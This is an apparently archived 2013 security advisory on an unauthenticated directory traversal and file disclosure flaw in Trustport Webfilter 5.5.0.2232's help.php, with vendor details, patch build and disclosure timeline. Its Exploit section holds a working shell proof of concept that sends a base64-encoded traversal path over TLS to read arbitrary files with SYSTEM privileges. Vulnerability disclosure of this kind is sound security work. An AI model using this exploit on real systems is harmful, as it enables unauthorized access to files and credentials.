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Trustport Webfilter Traversal / File Disclosure

Trustport Webfilter Traversal / File Disclosure
Posted Aug 8, 2013
Authored by Oliver Karow | Site oliverkarow.de

Trustport Webfilter version 5.5.0.2232 suffers from a remote file disclosure and traversal vulnerability.

tags | exploit, remote, file inclusion
SHA-256 | 0a40dc9d70c4a31728c655ee319583daaaf44b92e79022f423a8adb2d1a6e46f

Trustport Webfilter Traversal / File Disclosure

Change Mirror Download
Trustport Webfilter Remote File Access Vulnerability
====================================================

Affected Product
----------------

Product Name: Trustport Webfilter
Product Version: 5.5.0.2232
Platform: Microsoft Windows

Product/Company Information
---------------------------

From Trustports website:

"An advanced solution for the protection and optimization of web
traffic within your company network.
It enables both monitoring and directing of users web activities.
It also utilizes your internet connectivity, and reduces the risk of
virus infections.
Contributes to protecting the reputation of your company."

Trustports website can be found at www.trustport.com

Vulnerability Description
-------------------------

A vulnerability exists within the help.php script, allowing an remote
attacker to access files outside of the
webroot with SYSTEM privileges, without authentication.

In order to exploit this vulnerability, an attacker has to craft a
special GET-request, with a base64 encoded
directory traversal string and file name (see Exploit section).


Exploit
-------

#!/bin/sh
#
# PoC Exploit for trustport TrustPort_Webfilter_5.5.0.2232
# Usage: ./exploit.sh <IP> <path/filename>
# Example: ./exploit.sh 192.168.42.130 ../../../../../Windows/win.ini

# oliver.karow@gmx.de

MY_IP=$1
MY_FILE=$(echo -n $2| base64)
MY_CONSOLEPORT='4849'

if [ $# -eq 0 ]
then
echo "Usage: `basename $0` <ip> <path/filename>"
exit
fi

echo -e "GET /help.php?hf=$MY_FILE HTTP/1.0\n\n\n\n" | openssl s_client
-connect $MY_IP:$MY_CONSOLEPORT -quiet

Patch Information
-----------------

A patch is available from vendor.
Corrected Build is: 6.0.0.3033

Advisory Information
--------------------

http://www.oliverkarow.de/research/trustport.txt

History
-------

26/07/2013 - Initial contact with vendor
26/07/2013 - Response from vendor
30/07/2013 - Patch information provided by vendor
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